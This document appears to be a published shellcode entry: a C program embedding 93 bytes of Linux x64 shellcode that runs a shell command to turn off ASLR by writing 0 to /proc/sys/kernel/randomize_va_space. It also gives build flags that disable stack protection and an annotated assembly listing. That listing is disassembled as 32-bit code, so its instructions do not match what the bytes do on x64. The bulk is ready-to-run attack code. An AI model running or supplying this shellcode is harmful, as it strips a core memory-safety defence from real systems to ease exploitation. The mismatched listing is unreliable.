Linux/x64 - Disable ASLR Security Shellcode (93 Bytes)

/* 
    ASLR (Address Space Layout Randomization) Disable Shellcode Language C & ASM - Linux/x86_64
 
    Author : Kağan Çapar
    contact: [email protected]
    shellcode len : 93 bytes
    compilation: gcc -fno-stack-protector -z execstack [.c] -o []
     
    Test:
    run shellcode (./aslr etc.)
    check : cat /proc/sys/kernel/randomize_va_space
    you will see "0"
 
    Assembly:
 
    global _start           
    section .ASLR
    _start:
 
    #6A3B              push byte +0x3b
    #58                pop eax
    #99                cdq
    #48                dec eax
    #BB2F62696E        mov ebx,0x6e69622f
    #2F                das
    #7368              jnc 0x75
    #005348            add [ebx+0x48],dl
    #89E7              mov edi,esp
    #682D630000        push dword 0x632d
    #48                dec eax
    #89E6              mov esi,esp
    #52                push edx
    #E836000000        call 0x56
    #6563686F          arpl [gs:eax+0x6f],bp
    #2030              and [eax],dh
    #207C2073          and [eax+0x73],bh
    #7564              jnz 0x90
    #6F                outsd
    #20746565          and [ebp+0x65],dh
    #202F              and [edi],ch
    #7072              jo 0xa7
    #6F                outsd
    #632F              arpl [edi],bp
    #7379              jnc 0xb3
    #732F              jnc 0x6b
    #6B65726E          imul esp,[ebp+0x72],byte +0x6e
    #656C              gs insb
    #2F                das
    #7261              jc 0xa6
    #6E                outsb
    #646F              fs outsd
    #6D                insd
    #697A655F76615F    imul edi,[edx+0x65],dword 0x5f61765f
    #7370              jnc 0xc2
    #61                popa
    #636500            arpl [ebp+0x0],sp
    #56                push esi
    #57                push edi
    #48                dec eax
    #89E6              mov esi,esp
    #0F05              syscall
 
*/
 
#include <stdio.h>
#include <string.h>
 
unsigned char ASLR[] = \
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x36\x00"
"\x00\x00\x65\x63\x68\x6f\x20\x30\x20\x7c\x20\x73\x75\x64\x6f"
"\x20\x74\x65\x65\x20\x2f\x70\x72\x6f\x63\x2f\x73\x79\x73\x2f"
"\x6b\x65\x72\x6e\x65\x6c\x2f\x72\x61\x6e\x64\x6f\x6d\x69\x7a"
"\x65\x5f\x76\x61\x5f\x73\x70\x61\x63\x65\x00\x56\x57\x48\x89"
"\xe6\x0f\x05";
 
int main()
{
    printf("Shellcode len: %d\n", strlen(ASLR));
     
    int (*ret)() = (int(*)())ASLR;
     
    ret();
     
}